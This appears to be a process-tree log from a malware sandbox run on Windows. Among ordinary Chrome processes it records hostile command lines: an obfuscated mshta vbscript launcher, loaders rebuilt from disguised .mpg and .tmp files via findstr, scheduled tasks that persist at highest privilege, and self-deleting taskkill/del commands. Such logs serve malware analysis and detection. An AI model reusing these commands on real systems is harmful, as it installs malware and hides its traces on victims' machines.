C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3908 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4964 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5928 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel=stable --force-configure-user-settings8⤵
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7a5636ee0,0x7ff7a5636ef0,0x7ff7a5636f009⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4180 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4916 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4200 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1952 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1464 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4028 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5780 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4216 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4920 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3648 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3912 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4000 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4476 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3992 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4040 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4980 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5424 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4888 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1484 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2184 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6408 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5676 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3620 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4020 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6112 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6840 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6860 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6852 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3664 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2556 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5096 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4044 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6856 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3608 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7160 /prefetch:28⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 6888 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\wGllHIfIPk8pZ1TIm4fBexCu.exe"7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 68888⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 6888 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\wGllHIfIPk8pZ1TIm4fBexCu.exe"7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 68888⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe"C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\Ze9fdXlkuKYs7KZh8a6c3CTZ.exe" ) do taskkill /F -iM "%~nxw"8⤵
-
C:\Users\Admin\AppData\Local\Temp\CndH5V.EXeCndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF ""-pHMKPyuuVVnjhxYIEreJKQmnfTDzj""== """" for %w In ( ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF "-pHMKPyuuVVnjhxYIEreJKQmnfTDzj"== "" for %w In ( "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" ) do taskkill /F -iM "%~nxw"11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" bFut_Y.g_U,GpozpZJ10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -iM "Ze9fdXlkuKYs7KZh8a6c3CTZ.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\NKWZwh_e7AoPg5Y44pUXhtaG.exe"C:\Users\Admin\Documents\NKWZwh_e7AoPg5Y44pUXhtaG.exe"6⤵
-
C:\Users\Admin\Documents\vNg2AL6pFyeHNstRNkgZxR6f.exe"C:\Users\Admin\Documents\vNg2AL6pFyeHNstRNkgZxR6f.exe"6⤵
-
C:\Users\Admin\Documents\kvEVktlJOYhBKgRWQKqiTI3S.exe"C:\Users\Admin\Documents\kvEVktlJOYhBKgRWQKqiTI3S.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Riempiuti.mpg7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ZNvHaEhYXOrMLiQTEjZiqnWwlLOExENKgeAZNuYpTaHezaAdeCRwWEsBRcvHPJEaqzbIHQunhPgIRTHSlnCRNLNJKZosJszpOgeqURJk$" Seguitare.mpg9⤵
-
C:\Users\Admin\AppData\Roaming\Animatrici.exe.comAnimatrici.exe.com E9⤵
-
C:\Users\Admin\AppData\Roaming\Animatrici.exe.comC:\Users\Admin\AppData\Roaming\Animatrici.exe.com E10⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
-
C:\Users\Admin\Documents\1h9J9HRe1r7UAp0Q8zJBGLG_.exe"C:\Users\Admin\Documents\1h9J9HRe1r7UAp0Q8zJBGLG_.exe"6⤵
-
C:\Users\Admin\Documents\fsdOSHC5zwu4sW0UH8AuXLzv.exe"C:\Users\Admin\Documents\fsdOSHC5zwu4sW0UH8AuXLzv.exe"6⤵
-
C:\Users\Admin\Documents\Xi2pShPFGr0Uha98H45iYyzy.exe"C:\Users\Admin\Documents\Xi2pShPFGr0Uha98H45iYyzy.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\vPBySX6xX9tstvGtFaLmzS5A.exe"C:\Users\Admin\Documents\vPBySX6xX9tstvGtFaLmzS5A.exe"6⤵
-
C:\Users\Admin\Documents\TyDjeu3xQIq47k00g7yICkUQ.exe"C:\Users\Admin\Documents\TyDjeu3xQIq47k00g7yICkUQ.exe"6⤵
-
C:\Users\Admin\Documents\lvK1zdONRfMpLcqFalsDAOkD.exe"C:\Users\Admin\Documents\lvK1zdONRfMpLcqFalsDAOkD.exe"6⤵
-
C:\Users\Admin\Documents\Uq0dq1EC5myTuTUA22WJu6lR.exe"C:\Users\Admin\Documents\Uq0dq1EC5myTuTUA22WJu6lR.exe"6⤵
-
C:\Users\Admin\Documents\Tku5z41dleOlD1AS_G0XU8sb.exe"C:\Users\Admin\Documents\Tku5z41dleOlD1AS_G0XU8sb.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp4EDC_tmp.exe8⤵
-
C:\Users\Admin\Documents\wVCUAMjswgPt9wToW8E81O_a.exe"C:\Users\Admin\Documents\wVCUAMjswgPt9wToW8E81O_a.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im wVCUAMjswgPt9wToW8E81O_a.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\wVCUAMjswgPt9wToW8E81O_a.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im wVCUAMjswgPt9wToW8E81O_a.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\ojesCVO_EUSCXjVNJJf4IOZM.exe"C:\Users\Admin\Documents\ojesCVO_EUSCXjVNJJf4IOZM.exe"6⤵
-
C:\Users\Admin\Documents\ssAKNDstiw7pUgLJOoyf7EQT.exe"C:\Users\Admin\Documents\ssAKNDstiw7pUgLJOoyf7EQT.exe"6⤵
-
C:\Users\Admin\Documents\ssAKNDstiw7pUgLJOoyf7EQT.exeC:\Users\Admin\Documents\ssAKNDstiw7pUgLJOoyf7EQT.exe7⤵
-
C:\Users\Admin\Documents\DrHRaJ6n1Y6XoX_QZhSXw1T6.exe"C:\Users\Admin\Documents\DrHRaJ6n1Y6XoX_QZhSXw1T6.exe"6⤵
-
C:\Users\Admin\Documents\haeEiSSOdjHI79bnTx_jaMbk.exe"C:\Users\Admin\Documents\haeEiSSOdjHI79bnTx_jaMbk.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Sai.tmp7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^SSpBUHXGKUiBGIGMjTOcaYjEyMbzyuBEujmkDFBqdKBfyUsPCLGVjFXTFEvopDAEaCxzpxoHaNyHvXnlxIRzmFaBfFGYpaQNlXWCm$" Subitanea.tmp9⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Sai.tmp10⤵
-
C:\Windows\SysWOW64\cmd.execmd11⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comLevandosi.exe.com K9⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K10⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K11⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K12⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K13⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K14⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K15⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K16⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K17⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K18⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K19⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K20⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K21⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K22⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K23⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K24⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K25⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K26⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K27⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K28⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K29⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K30⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K31⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K32⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K33⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K34⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K35⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K36⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K37⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K38⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K39⤵
-
C:\Users\Admin\AppData\Roaming\Levandosi.exe.comC:\Users\Admin\AppData\Roaming\Levandosi.exe.com K40⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
-
C:\Users\Admin\Documents\iW5dY7lqnxMfK1n6sfUwXCJr.exe"C:\Users\Admin\Documents\iW5dY7lqnxMfK1n6sfUwXCJr.exe"6⤵
-
C:\Users\Admin\Documents\iW5dY7lqnxMfK1n6sfUwXCJr.exe"C:\Users\Admin\Documents\iW5dY7lqnxMfK1n6sfUwXCJr.exe"7⤵
-
C:\Users\Admin\Documents\Ou8mXBBpXzjDm13kl6_ChFsx.exe"C:\Users\Admin\Documents\Ou8mXBBpXzjDm13kl6_ChFsx.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\zjdigshVAW5sqabzKnaYVdzq.exe"C:\Users\Admin\Documents\zjdigshVAW5sqabzKnaYVdzq.exe"6⤵
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"7⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵
-
C:\Users\Admin\Documents\qBZ02sTP2t_IuKgDavbhkTLX.exe"C:\Users\Admin\Documents\qBZ02sTP2t_IuKgDavbhkTLX.exe"6⤵
-
C:\Users\Admin\Documents\I45G1DseMcl6wQkUHErYdmQ_.exe"C:\Users\Admin\Documents\I45G1DseMcl6wQkUHErYdmQ_.exe"6⤵
-
C:\Users\Admin\Documents\0RMfTxZ03_CeFRYPzVdZ05Rr.exe"C:\Users\Admin\Documents\0RMfTxZ03_CeFRYPzVdZ05Rr.exe"6⤵
-
